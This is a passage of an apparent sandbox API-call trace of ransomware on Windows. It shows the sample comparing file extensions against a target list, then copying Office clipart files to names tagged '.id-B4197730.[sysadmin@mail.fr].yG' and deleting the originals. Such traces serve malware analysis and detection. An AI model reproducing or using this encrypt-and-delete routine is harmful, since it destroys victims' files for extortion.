	[0144.680] lstrlenW (lpString=".7z") returned 3
	[0144.680] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0144.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 68
	[0144.680] lstrlenW (lpString=".dbf") returned 4
	[0144.680] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0144.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 68
	[0144.680] lstrlenW (lpString=".1cd") returned 4
	[0144.680] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0144.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 68
	[0144.680] lstrlenW (lpString=".jpg") returned 4
	[0144.680] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0144.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 68
	[0144.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 68
	[0144.680] lstrlenW (lpString=".doc") returned 4
	[0144.680] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0144.680] lstrlenW (lpString=".docx") returned 5
	[0144.680] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0144.680] lstrlenW (lpString=".pdf") returned 4
	[0144.680] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0144.680] lstrlenW (lpString=".xls") returned 4
	[0144.680] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0144.680] lstrlenW (lpString=".xlsx") returned 5
	[0144.680] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0144.680] lstrlenW (lpString=".ppt") returned 4
	[0144.680] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0144.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 68
	[0144.681] lstrlenW (lpString=".zip") returned 4
	[0144.681] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0144.681] lstrlenW (lpString=".rar") returned 4
	[0144.681] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0144.681] lstrlenW (lpString=".bz2") returned 4
	[0144.681] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0144.681] lstrlenW (lpString=".7z") returned 3
	[0144.681] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0144.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 68
	[0144.681] lstrlenW (lpString=".dbf") returned 4
	[0144.681] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0144.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 68
	[0144.681] lstrlenW (lpString=".1cd") returned 4
	[0144.681] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0144.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 68
	[0144.681] lstrlenW (lpString=".jpg") returned 4
	[0144.681] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0144.681] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0144.681] lstrlenW (lpString="EN00202_.WMF") returned 12
	[0144.681] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00202_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518
	[0144.682] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x2abff14 | out: lpFileSize=0x2abff14*=6938) returned 1
	[0144.682] CloseHandle (hObject=0x518) returned 1
	[0144.682] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00202_.wmf")) returned 0x220
	[0144.682] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00202_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0144.682] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00202_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518
	[0144.683] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0144.683] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0144.683] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00202_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8
	[0144.684] GetLastError () returned 0x0
	[0144.684] ReadFile (in: hFile=0x518, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x1b1a, lpOverlapped=0x0) returned 1
	[0144.687] WriteFile (in: hFile=0x4d8, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0x1b20, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0x1b20, lpOverlapped=0x0) returned 1
	[0144.689] ReadFile (in: hFile=0x518, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x0, lpOverlapped=0x0) returned 1
	[0144.689] WriteFile (in: hFile=0x4d8, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0xec, lpOverlapped=0x0) returned 1
	[0144.690] SetEndOfFile (hFile=0x4d8) returned 1
	[0144.690] CloseHandle (hObject=0x4d8) returned 1
	[0144.690] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0144.690] SetEndOfFile (hFile=0x518) returned 1
	[0144.693] CloseHandle (hObject=0x518) returned 1
	[0144.693] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0144.693] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00202_.wmf")) returned 1
	[0144.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 68
	[0144.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 68
	[0144.694] lstrlenW (lpString=".doc") returned 4
	[0144.694] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0144.694] lstrlenW (lpString=".docx") returned 5
	[0144.694] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0144.694] lstrlenW (lpString=".pdf") returned 4
	[0144.694] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0144.694] lstrlenW (lpString=".xls") returned 4
	[0144.695] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0144.695] lstrlenW (lpString=".xlsx") returned 5
	[0144.695] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0144.695] lstrlenW (lpString=".ppt") returned 4
	[0144.695] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0144.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 68
	[0144.695] lstrlenW (lpString=".zip") returned 4
	[0144.695] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0144.695] lstrlenW (lpString=".rar") returned 4
	[0144.695] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0144.695] lstrlenW (lpString=".bz2") returned 4
	[0144.695] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0144.695] lstrlenW (lpString=".7z") returned 3
	[0144.695] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0144.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 68
	[0144.695] lstrlenW (lpString=".dbf") returned 4
	[0144.695] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0144.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 68
	[0144.695] lstrlenW (lpString=".1cd") returned 4
	[0144.695] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0144.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 68
	[0144.695] lstrlenW (lpString=".jpg") returned 4
	[0144.695] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0144.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 68
	[0144.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 68
	[0144.695] lstrlenW (lpString=".doc") returned 4
	[0144.695] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0144.696] lstrlenW (lpString=".docx") returned 5
	[0144.696] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0144.696] lstrlenW (lpString=".pdf") returned 4
	[0144.696] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0144.696] lstrlenW (lpString=".xls") returned 4
	[0144.696] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0144.696] lstrlenW (lpString=".xlsx") returned 5
	[0144.696] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0144.696] lstrlenW (lpString=".ppt") returned 4
	[0144.696] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0144.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 68
	[0144.696] lstrlenW (lpString=".zip") returned 4
	[0144.696] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0144.696] lstrlenW (lpString=".rar") returned 4
	[0144.696] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0144.696] lstrlenW (lpString=".bz2") returned 4
	[0144.696] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0144.696] lstrlenW (lpString=".7z") returned 3
	[0144.696] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0144.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 68
	[0144.696] lstrlenW (lpString=".dbf") returned 4
	[0144.696] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0144.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 68
	[0144.696] lstrlenW (lpString=".1cd") returned 4
	[0144.696] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0144.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 68
	[0144.696] lstrlenW (lpString=".jpg") returned 4
	[0144.696] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0144.697] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0144.697] lstrlenW (lpString="EN00222_.WMF") returned 12
	[0144.697] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00222_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520
	[0144.848] GetFileSizeEx (in: hFile=0x520, lpFileSize=0x2abff14 | out: lpFileSize=0x2abff14*=12356) returned 1
	[0144.848] CloseHandle (hObject=0x520) returned 1
	[0144.849] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00222_.wmf")) returned 0x220
	[0145.014] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00222_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0145.279] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00222_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0145.311] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0145.311] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0145.311] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00222_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c
	[0145.312] GetLastError () returned 0x0
	[0145.312] ReadFile (in: hFile=0x52c, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x3044, lpOverlapped=0x0) returned 1
	[0145.315] WriteFile (in: hFile=0x51c, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0x3050, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0x3050, lpOverlapped=0x0) returned 1
	[0145.316] ReadFile (in: hFile=0x52c, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x0, lpOverlapped=0x0) returned 1
	[0145.317] WriteFile (in: hFile=0x51c, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0xec, lpOverlapped=0x0) returned 1
	[0145.317] SetEndOfFile (hFile=0x51c) returned 1
	[0145.317] CloseHandle (hObject=0x51c) returned 1
	[0145.321] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0145.321] SetEndOfFile (hFile=0x52c) returned 1
	[0145.324] CloseHandle (hObject=0x52c) returned 1
	[0145.324] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0145.325] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00222_.wmf")) returned 1
	[0145.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 68
	[0145.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 68
	[0145.326] lstrlenW (lpString=".doc") returned 4
	[0145.326] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0145.326] lstrlenW (lpString=".docx") returned 5
	[0145.326] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0145.326] lstrlenW (lpString=".pdf") returned 4
	[0145.326] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0145.326] lstrlenW (lpString=".xls") returned 4
	[0145.326] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0145.326] lstrlenW (lpString=".xlsx") returned 5
	[0145.326] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0145.326] lstrlenW (lpString=".ppt") returned 4
	[0145.326] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0145.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 68
	[0145.326] lstrlenW (lpString=".zip") returned 4
	[0145.326] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0145.326] lstrlenW (lpString=".rar") returned 4
	[0145.326] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0145.326] lstrlenW (lpString=".bz2") returned 4
	[0145.326] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0145.327] lstrlenW (lpString=".7z") returned 3
	[0145.327] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0145.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 68
	[0145.327] lstrlenW (lpString=".dbf") returned 4
	[0145.327] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0145.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 68
	[0145.327] lstrlenW (lpString=".1cd") returned 4
	[0145.327] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0145.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 68
	[0145.327] lstrlenW (lpString=".jpg") returned 4
	[0145.327] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0145.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 68
	[0145.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 68
	[0145.327] lstrlenW (lpString=".doc") returned 4
	[0145.327] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0145.327] lstrlenW (lpString=".docx") returned 5
	[0145.327] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0145.327] lstrlenW (lpString=".pdf") returned 4
	[0145.327] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0145.328] lstrlenW (lpString=".xls") returned 4
	[0145.328] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0145.328] lstrlenW (lpString=".xlsx") returned 5
	[0145.328] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0145.328] lstrlenW (lpString=".ppt") returned 4
	[0145.328] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0145.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 68
	[0145.328] lstrlenW (lpString=".zip") returned 4
	[0145.328] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0145.328] lstrlenW (lpString=".rar") returned 4
	[0145.328] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0145.328] lstrlenW (lpString=".bz2") returned 4
	[0145.328] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0145.328] lstrlenW (lpString=".7z") returned 3
	[0145.328] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0145.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 68
	[0145.328] lstrlenW (lpString=".dbf") returned 4
	[0145.328] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0145.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 68
	[0145.329] lstrlenW (lpString=".1cd") returned 4
	[0145.329] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0145.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 68
	[0145.329] lstrlenW (lpString=".jpg") returned 4
	[0145.329] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0145.329] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0145.329] lstrlenW (lpString="FD00077_.WMF") returned 12
	[0145.329] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00077_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0145.330] GetFileSizeEx (in: hFile=0x52c, lpFileSize=0x2abff14 | out: lpFileSize=0x2abff14*=30240) returned 1
	[0145.330] CloseHandle (hObject=0x52c) returned 1
	[0145.330] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00077_.wmf")) returned 0x220
	[0145.330] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00077_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0145.330] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00077_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0145.331] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0145.331] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0145.331] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00077_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c
	[0145.331] GetLastError () returned 0x0
	[0145.331] ReadFile (in: hFile=0x52c, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x7620, lpOverlapped=0x0) returned 1
	[0145.334] WriteFile (in: hFile=0x51c, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0x7630, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0x7630, lpOverlapped=0x0) returned 1
	[0145.335] ReadFile (in: hFile=0x52c, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x0, lpOverlapped=0x0) returned 1
	[0145.335] WriteFile (in: hFile=0x51c, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0xec, lpOverlapped=0x0) returned 1
	[0145.336] SetEndOfFile (hFile=0x51c) returned 1
	[0145.336] CloseHandle (hObject=0x51c) returned 1
	[0145.336] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0145.336] SetEndOfFile (hFile=0x52c) returned 1
	[0145.340] CloseHandle (hObject=0x52c) returned 1
	[0145.340] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0145.340] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00077_.wmf")) returned 1
	[0145.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 68
	[0145.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 68
	[0145.341] lstrlenW (lpString=".doc") returned 4
	[0145.341] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0145.341] lstrlenW (lpString=".docx") returned 5
	[0145.341] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0145.341] lstrlenW (lpString=".pdf") returned 4
	[0145.341] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0145.341] lstrlenW (lpString=".xls") returned 4
	[0145.342] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0145.342] lstrlenW (lpString=".xlsx") returned 5
	[0145.342] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0145.342] lstrlenW (lpString=".ppt") returned 4
	[0145.342] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0145.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 68
	[0145.342] lstrlenW (lpString=".zip") returned 4
	[0145.342] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0145.342] lstrlenW (lpString=".rar") returned 4
	[0145.342] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0145.342] lstrlenW (lpString=".bz2") returned 4
	[0145.342] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
